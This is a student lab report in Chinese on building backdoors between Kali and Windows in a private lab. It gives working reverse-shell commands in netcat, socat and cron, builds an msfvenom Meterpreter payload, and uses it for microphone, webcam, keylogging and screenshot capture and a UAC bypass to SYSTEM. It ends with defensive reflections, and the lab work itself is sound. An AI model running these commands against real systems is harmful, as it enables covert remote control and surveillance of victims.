Exp2后门原理与实践
一、实验内容
1、使用netcat获取主机操作Shell,cron启动
2、使用socat获取主机操作Shell, 任务计划启动
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
二、实验步骤
实验前的准备:
1、关闭防火墙
关闭Windows防火墙:控制面板-系统和安全-Windows Defender 防火墙-自定义设置
关闭kali防火墙:输入指令 apt-get install ufw 安装ufw,再输入指令 ufw disable 关闭防火墙
2、查询IP地址
WindowsIP地址查询:win+R打开运行,输入cmd打开Windows终端,输入 ipconfig 查询到IP地址192.168.1.100
kali查询IP地址:打开终端输入 ifconfig 查询到IP地址192.168.227.128
Windows下载ncat和socat:https://gitee.com/wildlinux/NetSec/attach_files
(一)使用netcat获取主机操作Shell,cron启动
1、kali获得windows shell
kali终端输入指令 nc -l -p 5127 打开监听端口
windows终端进入ncat目录输入指令 ncat.exe -e cmd.exe 192.168.227.128 5127 反弹连接kali(IP地址是监听主机地址)
可知kali获得windows shell 并运行dir指令查看结果
2、windows获得kali shell
windows终端进入ncat目录输入指令 ncat.exe -l -p 5127 打开监听窗口
kali输入指令 nc 192.168.1.100 5127 -e /bin/sh 反弹连接windows(同上)
3、nc传输数据(这里做的是kali向windows发送数据,反过来同理)
windows终端进入ncat目录输入指令 ncat.exe -l 5127 > 5127.out (windows通过5127端口将接收的数据放到5127.out文件中)
kali输入指令 nc 192.168.1.100 5127 < 5127.in (kali将5127.in文件中的内容发送到windows)
4、cron启动(kali定时自动反弹连接windows)
windows端先打开监听端口: ncat.exe -l -p 5127
kali终端输入指令 crontab -e 打开文件
在文件最后一行添加代码 04 * * * * /bin/netcat 192.168.1.100 5127 -e /bin/sh ctrl+o回车保存,ctrl+x退出(意思是每小时04分时自动运行后面的代码后面四个*从后往前分别代表年、月、日、时)
可以看到在04分时windows获得kali shell
(二)使用socat获取主机操作Shell, 任务计划启动
windows端设置:
控制面板-系统和安全-管理工具-任务计划
右键任务计划程序库,选择创建任务
常规栏设置名称为20175127socat
触发器栏新建,开始任务选择启动时,确定
操作栏新建,操作为启动程序,程序或脚本浏览到socat.exe,添加参数 tcp-listen:5127 exec:cmd.exe,pty,stderr ,确定
kali端操作:
kali终端输入指令 socat - tcp:192.168.1.100:5127
可发现kali获得windows shell
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、kali端生成可执行文件
klai输入指令 gem install bundler:1.17.3 安装1.17.3版本的bundler
生成后门程序: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.128 LPORT=5127 -f exe > 20175127backdoor.exe
2、利用ncat将后门程序发送到windows
windows终端输入指令 ncat.exe -lv 5127 > 20175127backdoor.exe 打开监听端口准备接收文件
kali端输入指令 nc 192.168.1.100 5127 < 20175127backdoor.exe 发送程序
windows端接收到文件后会被电脑管家杀掉,此时要进入管家将该文件加入到信任区,或者实验前就停止管家运行
3、kali端打开监听等待windows端运行后门程序
kali输入指令 msfconsole 打开msfconsole控制台
控制台输入以下指令进行设置:
use exploit/multi/handler //监听设置payload set payloa
set windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload
set LHOST 192.168.227.128 //Linux端的IP地址
set LPORT 5127 //与之前输入的端口号一致
exploit //开始监听
windows端运行后门程序会发现kali端获得windows shell
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (紧接着上一个实验)
1、录音
控制台输入指令 record_mic //record_mic -d 10 录制10秒 控制windows录音并在kali上播放
2、拍照
控制台输入指令 webcam_snap 控制windows相机拍照并在kali上查看照片
3、记录击键
控制台输入指令keyscan_start记录windows端击键记录并输入指令keyscan_dump读取记录
4、截屏
控制台输入指令 screenshot 控制windows端截屏并在kali上查看
5、查看用户
控制台输入指令 getuid 查看windows用户
6、尝试提权
控制台输入指令getsystem直接提权发现失败,一般是由于UAC限制,我们接下来绕开UAC限制尝试提权
控制台输入指令 background 断开连接返回上一级
重新对控制台进行参数设置:
use exploit/windows/local/ask
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.227.128
set lport 5127
set filename win_updata.exe
set session 1
options
输入指令 exploit 打开监听,重连成功
输入指令 getsystem 尝试提权,成功
三、实验心得
1、问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:钓鱼邮件所带附件被下载并打开
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:被加入到自启动中,并隐藏在其他进程中
(3)Meterpreter有哪些给你映像深刻的功能?
答:控制麦克风、摄像头;截取屏幕;记录击键;查看用户;获得系统权限。让人没有任何隐私可言。
(4)如何发现自己有系统有没有被安装后门?
答:1、端口扫描
在对外来连接的的端口中发现可疑端口
2、查看连接
用工具查看本机所有的TCP/UDP连接
3、查看进程
用工具查看所有执行的进程
4、检查自启动项
检查注册表相应的自启动项发现后门程序在注册表里留下的痕迹
5、查找文件
在找到后门程序的其他方面线索后,利用程序的名字、时间等线索在本地文件系统中查找程序相关的静态文件
2、心得感想
通过本次实验使我真正感到当前社会网络安全的重要性,后门程序不仅仅会使你没有隐私,更可怕的是人们的隐私还可能会被非法者利用获取利益,极大地侵犯了人们的信息安全。同时也提高了我的防范意识,后门程序主要方式就是被侵犯方主动连接非法者,所以,我们要加强防范,不要随意浏览不安全的网站、邮件等等。